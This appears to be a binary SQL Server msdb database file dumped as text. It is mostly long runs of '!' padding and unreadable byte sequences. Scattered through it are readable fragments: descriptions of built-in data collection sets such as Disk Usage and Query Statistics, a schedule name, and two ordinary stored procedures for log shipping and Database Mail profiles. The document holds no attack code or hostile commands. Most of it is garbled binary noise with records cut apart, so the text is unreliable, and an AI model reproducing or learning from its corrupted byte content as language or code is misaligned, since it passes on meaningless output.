!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`6
ZU?c3,5^T8!!!!`[,VIJ3p[R{ώNdn"F⎎@]z.$m9õ
q@$õ
µ
õ
pq@$l9||Disk UsageCollects data about the disk and log usage for all databases.A
p[T&IONYٻWۯ!^CfhGj(q9õ
q2$õ
µ
õ
pq2$p9Server ActivityCollects top-level performance indicators for the computer and the Database Engine. Enables analysis of resource use, resource bottlenecks, and Database Engine activity.O
p[+-0LNۯ!^CfhGj(u9õ
qI$õ
µ
õ
pqI$t9*Query StatisticsCollects query statistics, T-SQL text, and query plans of most of the statements that affect performance. Enables analysis of poor performing queries in relation to overall SQL Server Database Engine activity.T
p["z9H9ࡕ`Bn!0@e! i! i!|90<)0<
(q0i!
n!{9><Utility InformationCollects data about instances of SQL Server that are managed in the SQL Server Utility.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Jd`
ZW@
̬^V8!!!!`-<XUQ30<]!$Z???0<]!$Z?@?@'??0<]!$Z?A?A#+??0<]!$Z?@?@'??S0<]!$Z?@?@'??0<]($ "0<5& "0<' "0<,) "0<, "0<, "0<&m1 "0<&m1 "0<_2 "0<_2 "0<3 "0<Dڎ'$[??A?@@'??0<Dڎ'$G[???XB?8B@@M0??EDisk Usage - Data Files((Disk Usage - Data Files@0<Dڎ'$[?@@@>F'????0<EYH$ "0<D0 "0<D0 "0<D0 "0<D0 "0<D0 "0<4 "0<4 " (0??0<eQ$o[?B?Ba0??YRunAsSQLAgentServiceStartSchedule((!RunAsSQLAgentServiceStartSchedule@!0<eQ$[?@?@'??0<eQ$gl[?%I> A@A(Kn ??bonWNC	I] ??"F⎎@]z.$ ??$DfȩJ~ir2(tD ???>!B7Bz ???`C+0LD0<4 "0<Dڎ'$[??A?@@'??0<Dڎ'$G[???XB?8B@@M0??EDisk Usage - Data Files((Disk Usage - Data Files@0<Dڎ'$[?@@@>F'????0<C "0<C "0<s{F "0<C "0<EYH$ "0<nJM "0<.HS "0<.HS "0<.HS "0<A "0<X\G "0<D0 "0<D0 "0<D0 "0<D0 "				t	jH&R	0		
J`<ZYMeq)0a` h8CREATE PROCEDURE sp_delete_log_shipping_secondary 
  @secondary_server_name   sysname,
  @secondary_database_name sysname
AS BEGIN
  SET NOCOUNT ON
  DELETE FROM msdb.dbo.log_shipping_secondaries WHERE 
    secondary_server_name   = @secondary_server_name AND
    secondary_database_name = @secondary_database_name
END
0k1a 8
CREATE PROCEDURE dbo.sysmail_help_profile_sp
   @profile_id int = NULL,
   @profile_name sysname = NULL
AS
   SET NOCOUNT ON

   DECLARE @rc int
   DECLARE @profileid int
   exec @rc = msdb.dbo.sysmail_verify_profile_sp @profile_id, @profile_name, 1, 0, @profileid OUTPUT
   IF @rc <> 0
      RETURN(1)

   IF (@profileid IS NOT NULL)
      SELECT profile_id, name, description 
      FROM msdb.dbo.sysmail_profile 
      WHERE profile_id = @profileid
      
   ELSE -- don't filter the output
      SELECT profile_id, name, description      
      FROM msdb.dbo.sysmail_profile 

   RETURN(0)
0gQa '8((0.0))0[]a %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!